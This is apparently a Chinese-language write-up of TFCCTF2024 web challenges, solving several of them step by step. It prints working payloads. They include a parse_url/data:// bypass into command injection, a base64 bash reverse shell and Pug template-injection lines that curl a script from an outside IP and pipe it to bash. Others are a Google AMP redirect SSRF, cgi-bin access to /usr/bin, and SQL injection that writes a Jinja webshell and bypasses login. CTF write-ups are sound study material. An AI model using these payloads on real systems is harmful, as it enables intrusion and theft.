TFCCTF2024 web方向部分题解


老外的比赛,涨姿势了

safe_content

Our site has been breached. Since then we restricted the ips we can get files from. This should reduce our attack surface since no external input gets into our app. Is it safe ?

For the source code, go to /src.php

傻逼edge,上次das坑我一次了,这次又来。

src.php如下,一个简单的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function isAllowedIP($url, $allowedHost) {
$parsedUrl = parse_url($url);

if (!$parsedUrl || !isset($parsedUrl['host'])) {
return false;
}

return $parsedUrl['host'] === $allowedHost;//判断利用parse_url函数分割的url的host是否是本地地址
}

function fetchContent($url) {
$context = stream_context_create([
'http' => [
'timeout' => 5 // Timeout in seconds
]
]);

$content = @file_get_contents($url, false, $context);//ssrf
if ($content === FALSE) {
$error = error_get_last();
throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
}
return base64_decode($content);
}

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
$url = $_GET['url'];
$allowedIP = 'localhost';

if (isAllowedIP($url, $allowedIP)) {
$content = fetchContent($url);
// file upload removed due to security issues
if ($content) {
$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
//echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE= | base64 -d| bash
exec($command . ' > /dev/null 2>&1');
// this should fix it
}
}
}
?>

仔细看就知道逻辑是通过fetchContent来获取到指定url的内容,并且将得到的content放入command里执行。

参考ctfshow周末大挑战 - parseurl | Err0r233,我之前写过的parse_url可以得到host其实是这部分:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$data = parse_url($_GET['u']);
print_r($data);
//u=http://username:password@host:8080/path?args=value#test

?>
输出结果:
Array ( [scheme] => http [host] => host [port] => 8080 [user] => username [pass] => password [path] => /path [query] => args=value )

第一时间想的是通过这个方式绕过然后打一个反弹shell,将testshell部署在vps上,通过这个ssrf来获取到反弹shell的内容,然后再执行反弹shell。

但是很快就有个问题,那就是报错访问不到,难绷的。

自己试着访问了一下发现会指向localhost/testshell,又因为本地根本没有这玩意,所以就报错了。

这时候有点卡了,就去搜了一下parse_url bypass file_get_contents

发现这篇文章:

PHP SSRF Techniques. How to bypass filter_var()… | by theMiddle | Medium

发现php中的data伪协议可以联动parse_url一起使用。

1
2
3
4
5
6
7
8
9
10
11
print_r(parse_url('data://text/plain;base64,SSBsb3ZlIFBIUAo=google.com'));
/*

Array
(
[scheme] => data
[host] => text
[path] => /plain;base64,SSBsb3ZlIFBIUAo=google.com
)

*/

注意看这里的host就是text。这里php伪协议有个特性就是PHP doesn’t care about mime-type…,也就是说我们把text随便换成任意一个东西都可以得到和text一样的结果

那就简单了,但是本题里返回的是b64解密的结果,所以我们要进行二次b64加密就可以了。

本题经测试不出网,无法反弹shell,但是当前目录下有写权限,可以将结果写入到文件里查看

payload:

1
`cat /flag.txt`>test.txt
1
$url = 'data://localhost/plain;base64,WUdOaGRDQXZabXhoWnk1MGVIUmdQblJsYzNRdWRIaDA=';

不要在他的访问框里提交,直接在url里提交即可,不要让他url编码了。执行后访问/test.txt即可:

greetings

Welcome to our ctf! Hope you enjoy it! Have fun

express框架。输入1就返回hello 1,感觉和flask很像。

express模板注入:

1
#{7*7}

exp:

1
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl ip:port/xxx | bash')}()}
1
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 106.52.94.23:6001/bash | bash')}()}

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const express = require('express');
const pug = require('pug');

const app = express();
const port = 8000;

app.set('view engine', 'pug');
app.set('views', './views');

app.get('/', (req, res) => {
res.render('index');
});

app.get('/result', (req, res) => {
// Get the username from the query string
const username = req.query.username || 'Guest';

// Vulnerable Implementation
const templateString = `
doctype html
html(lang="en")
head
meta(charset="UTF-8")
meta(name="viewport" content="width=device-width, initial-scale=1.0")
title Result
style.
body {
font-family: 'Arial', sans-serif;
background-color: #f5f5dc; /* beige background */
color: #333;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
background-color: #fff;
padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
border-radius: 8px;
}
h1 {
color: #d7263d; /* pink color */
}
p {
font-size: 1.2em;
# pink color
color: #d7263d;
}
.button {
background-color: #084c61; /* dark green color */
color: white;
padding: 10px 20px;
text-decoration: none;
border-radius: 5px;
font-size: 1em;
}
body
.container
h1 Welcome ${username}!
p Give me a username and I will say hello to you.
`;

// Render the template without compiling
const output = pug.render(templateString);

// Send the rendered HTML as the response
res.send(output);
});

app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});

flag:

1
TFCCTF{a6afc419a8d18207ca9435a38cb64f42fef108ad2b24c55321be197b767f0409}

surfing

随便输什么东西都是这样:

只有google开头才能够有响应。页面f12有提示

1
<!--  Reminder ! Change creds for admin panel on localhost:8000  ! -->   

题目目的要让我们访问本地8000端口,但是url必须得用google开头。这里有点阻碍

如果能让我们从google跳转到localhost:8000就好了

找到一个很相似的题

https://vicevirus.github.io/posts/report-google-wgmy-2023/

payload:

1
https://google.com/amp/localhost:8000/

会报错,因为后面带了.png参数

用锚点注释掉:

1
https://google.com/amp/localhost:8000#
1
https://google.com/amp/localhost:8000/admin.php?username=admin&password=admin#

这里如果将问号这些url编码一下就能过,也可以起一个间接跳转:

1
https://google.com/amp/106.52.94.23:6001/ttt#

绷,google不允许ip跳转

用ngork内网穿透出来即可。ngork自己上官网下载安装到vps上,然后启动隧道就行了,开哪个端口就写哪个

1
ngrok http --domain=key-right-ape.ngrok-free.app 6001
1
TFCCTF{18fd102247cb73e9f9acaa42801ad03cf622ca1c3689e4969affcb128769d0bc}

funny

This challenge is HILARIOUS!

附件下下来,index.php没有什么可以关注的。附件还给了httpd.conf,可能在暗示我们往apache的洞走,搜一下apache的洞先。

查了下,ddos肯定不可能,解析洞是上传的问题,服务组件提权也不可能,剩下就剩路径穿越了,试试/cgi-bin/。爆403

400:

1
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

怎么回事呢

看这个httpd.conf发现了一行比较好玩的东西:

1
2
3
4
5
6
7
8
ScriptAlias /cgi-bin /usr/bin
Action php-script /cgi-bin/php-cgi
AddHandler php-script .php

<Directory /usr/bin>
Order allow,deny
Allow from all
</Directory>

不懂这是什么,但是可以找ai问一下:

简单地说就是将/usr/bin下的东西映射到了/cgi-bin底下,此时我们可以通过/cgi-bin来调用/usr/bin下的东西,众所周知/usr/bin是放命令的地方,相当于可以rce:

当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。

payload:

1
http://challs.tfcctf.com:31858/cgi-bin/pr?/flag.txt

pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。

这里用pr的原因是pr的输出有换行。其他能执行但是不能输出。在响应包的时候,没有换行的话是不能够显示在body里的,而是显示在header里,数据又不符合http头格式,此时就会报错

sagigram(未完成)

Worst model of them all

进去就是一个登录页,其他啥都没有

看到了csrf的token

1
http://challs.tfcctf.com:31185/register

发现/register能访问,是它的注册页。尝试注册一个账号

登录成功后发现了能够添加admin好友,但是什么用都没有

奇怪的东西出现了,我传一张图片之后它就变成了这样。感觉上它能够提取出图片的文字嵌入到页面当中?

不懂

flask-destroyer

从附件可以得到是flask+mysql的结合。读dockerfile可知flag放在了这个地方

1
2
# Add flag
RUN dir1=$(hexdump -vn16 -e'4/4 "%08x"' /dev/urandom); dir2=$(hexdump -vn16 -e'4/4 "%08x"' /dev/urandom); dir3=$(hexdump -vn16 -e'4/4 "%08x"' /dev/urandom); mkdir -p /tmp/$dir1/$dir2/$dir3; echo '< REDACTED >' > /tmp/$dir1/$dir2/$dir3/flag.txt

给了mysql配置:

这里说明我们可以直接写shell

但是又因为是flask的,我们不知道该写啥,那就先往下看

sql注入双引号闭合

登录路由调用了这个函数:

1
2
admin"
1

发现报错

尝试写内容,问题是写什么,然后写到哪个路径里

1
2
3
4
5
6
7
8
9
10
11
@bp.route('/<string:page>')
@bp.route('/', defaults={'page': 'home.html'})
def home(page):
if not session.get('id'):
return redirect(url_for('main.login'))

page = os.path.basename(page)
if page not in registered_templates or not os.path.isfile(os.path.join('app/templates', page)):
return render_template('home.html')

return render_template(page)

发现这里可以渲染模板,逻辑是这样的,registered_templates是服务初始化时记录下templates目录下的模板,然后进行下面的检查:

1
2
1. 访问的页面是否在registered_templates里
2. 访问的页面是否在app/templates目录下是一个文件

如果两个条件都通过就会渲染app/templates下的目录。当然,前提是登录成功。

问题来到registered_templates,他是服务启动时对templates目录下的文件进行了读取,然后保存到这个变量里。我们要怎么做才能够让registered_templates增加新的内容呢?只需要让服务重新启动一遍就行了,也就是说我们要让服务崩溃再重启一次即可。

知道会渲染模板这下就简单了,要写进去的东西就是一个简单的ssti,但是要写到/app/templates下,注意在dockerfile里还有一个/destroyer上级目录。但是难点在于怎么让服务崩溃重启

发现/app/templates

尝试写到这里,检查出字段数为3:

1
2
3
aa" union select 1,2,3#
1
返回正常,其他报错。

payload:

1
aa" union select '','{{url_for.__globals__.os.popen(request.args.get("cmd")).read()}}','' into dumpfile '/destroyer/app/templates/acd.html'#

\x80让flask崩溃,没懂原理,这个还是从其他地方学来的。

1
aa" union select 1, '', x'80'#  

此时服务会崩溃,然后重启之后就会将我们的模板加载进去了。

由于存在sql注入,这里admin的账号密码很容易用万能密码登录

1
2
admin
1" or "1" = "1

接下来访问

1
http://challs.tfcctf.com:32163/acd.html?cmd=whoami

然后去tmp找flag

request
1
http://challs.tfcctf.com:32163/acd.html?cmd=cat%20/tmp/f2aa5cf8bed1f3ffb4fb088bbdb93cdc/bc00179790eae6bc51200efb033d418e/ee28a1915c821400641085562eae2388/flag.txt
1
TFCCTF{Cr4Sh_g0_bRbRbRbRbR}